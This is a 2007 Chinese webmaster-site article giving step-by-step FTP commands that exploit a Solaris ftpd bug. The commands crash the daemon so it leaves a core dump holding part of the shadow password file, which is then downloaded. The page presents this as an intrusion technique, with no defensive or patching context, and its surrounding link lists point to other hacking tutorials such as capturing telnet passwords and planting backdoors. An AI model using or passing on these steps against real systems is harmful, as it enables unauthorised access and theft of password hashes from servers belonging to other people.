如何用FIP获取shadow口令文件

　 2007年10月15日03:58:52　评论(0条) 字体:[大中小]
相关热点：

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：

1.通过 ftp 正常登录到目的主机上

2.输入如下命令序列：

ftp> user root wrongpasswd

ftp> quote pasv

3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。

4.再次进入FTP >get core

补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了

责任编辑：

上一篇：防火墙封阻应用攻击技术综述
下一篇：网络监听攻击技术

收藏本文

打印本文　

告诉好友　

投稿邮箱

相关新闻: ·防火墙封阻应用攻击技术综述
·网络监听攻击技术
·黑掉Windows 9x
·扫描一个网段的所有端口(win2000)
·简单的网络入侵法
·一般入侵所需要的几个常用命令
·捕获telnet登录口令（菜鸟篇）

热评文章: ·悬挂阿里妈妈会否被百度惩罚
·阿里妈妈是否是中小站长的救世主?
·搜搜问问抢不了百度知道的饭碗
·网络的成功在于与传统商业的联姻
·Google绿色专家质疑黑色背景网页节省资源
·我的网络，我的团队:专访李文明
·网聚力量矜持是道专访聚吧站长欠情
·色•戒•网络：均在欲望中纠缠
·访谈录非主流巴士网站长球球快跑
·站长访谈：天道酬勤青春有梦
·草根站长团队建设浅析
·随爱而行专访湛蓝城堡三位女管理员
·评论：博客实名黯然退场网络管制宜有反思
·百度新闻频道改版十天流量止跌反弹翻了一
·爆笑阿里就这样把亿告征服！

最新图文

站长排行

学院

新闻

专栏

盈利

[揭密网络黄链]中国留学生买凶专破日本
JSP语法(6)
超强弹出窗口代码，什么都挡不住
FLASH视觉特效实例之地震效果
贴吧发帖机使用教程(绝对原创)
关于数据分页（转自www.codeproject.co
ASP实现文件直接下载
Photoshop制作光感超酷效果水晶球
　遍历ASP.NET页面控件
永远的后门[经典]+查不出的后门
淘宝网卖家公然叫卖“艳照门”照片集
驳《百度Hi面世对腾讯有利》
Google绿色专家质疑黑色背景网页节省资
国内各IT企业办公环境揭秘（多图）
阿里妈妈广告卖主全攻略
站长创业源动力主流站长站赏析
推荐阅读：80年小子的创业道理
Discuz!6.0猛将出击最强论坛程序酷炫
我的网络，我的团队:专访李文明
百度新闻频道改版十天流量止跌反弹翻
ECSHOP模板制作参考文档
悬挂阿里妈妈会否被百度惩罚
阿里妈妈是否是中小站长的救世主?
最强网店ECShop发新版众多酷炫功能给
ECSHOP模板下载
土豆网,优酷网，爆米花等视频网站采集
DedeCms模板安装/制作概述
网上商店系统巅峰对决 ECShop vs ShopE
艰难的走在创业的路上第一天
编程中国全站采集规则
性福联盟一个不尊重站长的联盟
大脚：日赚100元—揭露最新firefox欺骗
大脚：垃圾站超级赚钱法之二—突破“站
大脚：垃圾站超级赚钱法之——前言
迅雷联盟、快车联盟收入对比
经理人必看的十个管理网站
Google Adsense的秘密第二版
西联汇款兑付城市查询
不用SEO取得成功的10个步骤
关于做GOOGLE的五条经验

站长学院　　网页设计建站教程图形图象网络编程

Photoshop CS3

不用Photoshop

DIV+CSS的开发方式听听另外的
 虚拟主机建站动易里快速生成的
 VBScript特效代码满屏幕乱跑
 牛气！一个菜鸟站长的超强网站
 创建、维护一个个人博客的“投
 让网站流量稳步飙升的秘籍
 网站推广的基本思想

地区性网站经营方法及误区
因多添加一段代码而惹的祸－－
怎么让10天的新网站,有100个外

新闻线索: 如果你有站长界人事变动、重组并购、变革技术出现，以及产品投诉等重要新闻线索，请告诉我们，我们会给予特别关注。
0631-3653338
站长中国编辑部
站长中国24小时新闻热线： 13256307008